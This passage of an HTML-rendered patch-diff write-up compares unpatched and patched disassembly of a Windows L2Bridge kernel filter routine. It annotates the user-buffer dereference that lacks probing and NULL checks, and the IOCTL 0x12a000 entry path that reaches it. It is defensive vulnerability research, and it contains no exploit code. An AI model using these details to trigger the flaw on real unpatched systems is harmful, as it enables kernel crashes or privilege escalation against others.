&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009ca9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; result = filter module 1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009cac&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009caf&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jne&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1c0009cbb&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009cb1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xc0000225&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_NOT_FOUND&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009cb6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1c0009e1d&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009cbb&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x38&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; second GUID pointer&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009cc0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0x1c0009bb0&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; L2BridgeFindandReferenceFilterModule&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009cc5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009e1d&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x70&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009e22&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009e24&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009e29&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x40&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009e2d&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009e2f&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009e30&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009e31&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Annotations:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x1c0009c6f&lt;/code&gt; — &lt;code&gt;movups xmm0, xmmword [rcx]&lt;/code&gt; is the vulnerable instruction. &lt;code&gt;rcx&lt;/code&gt; is the raw user &lt;code&gt;InputBuffer&lt;/code&gt; with no &lt;code&gt;ProbeForRead&lt;/code&gt;, no NULL check, no previous-mode gate.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c0009c85&lt;/code&gt; — the size check (&lt;code&gt;cmp edx, 0x10&lt;/code&gt;) that &lt;em&gt;should&lt;/em&gt; have come first.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c0009ca4&lt;/code&gt; — first use of the read bytes as a lookup key, in &lt;code&gt;L2BridgeFindandReferenceFilterModule&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Patched equivalent (&lt;code&gt;0x140011a28&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011a28&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;arg_0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011a2d&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;arg_10&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011a32&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011a34&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011a36&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011a38&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x60&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011a3c&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; save raw ptr, do NOT deref yet&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011a3f&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011a51&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x10&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; size check FIRST&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011a54&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_140011b88&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011a5a&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;&amp;lt;&amp;lt; ADDED: NULL check&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011a5d&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_140011b88&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011a63&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011a66&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_140011b88&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011a6c&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011a6f&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_140011b88&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011a75&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ExGetPreviousMode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;&amp;lt;&amp;lt; ADDED: previous-mode gate&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011a81&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011a83&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_140011a9b&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; skip probe if kernel-mode caller&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011a85&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; Length = 0x10&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011a88&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; Alignment = 4&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011a8c&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; Address = arg1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011a8f&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ProbeForRead&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;&amp;lt;&amp;lt; ADDED: ProbeForRead(arg1, 0x10, 4)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011a9b&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movups&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmmword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; dereference, AFTER probe&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011a9e&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movdqu&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011aa4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140011aa9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;L2BridgeFindandReferenceFilterModule&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;FilterFastDeviceIoControl&lt;/code&gt; (unpatched, &lt;code&gt;0x1c0009b40&lt;/code&gt;) — the entry path&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009b40&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009b45&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009b46&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x20&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009b4a&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009b4c&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; ebx = OutputBufferLength&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009b4f&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; rdi = InputBuffer (raw user ptr)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009b52&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;IoIs32bitProcess&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009b59&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;nop&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009b5e&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009b60&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;je&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c0009b69&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009b69&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x60&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x12a000&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; IOCTL == 0x12a000 ?&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009b71&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;je&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c0009b7a&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009b7a&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x58&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; arg4 (must be 0)&lt;/span&gt;
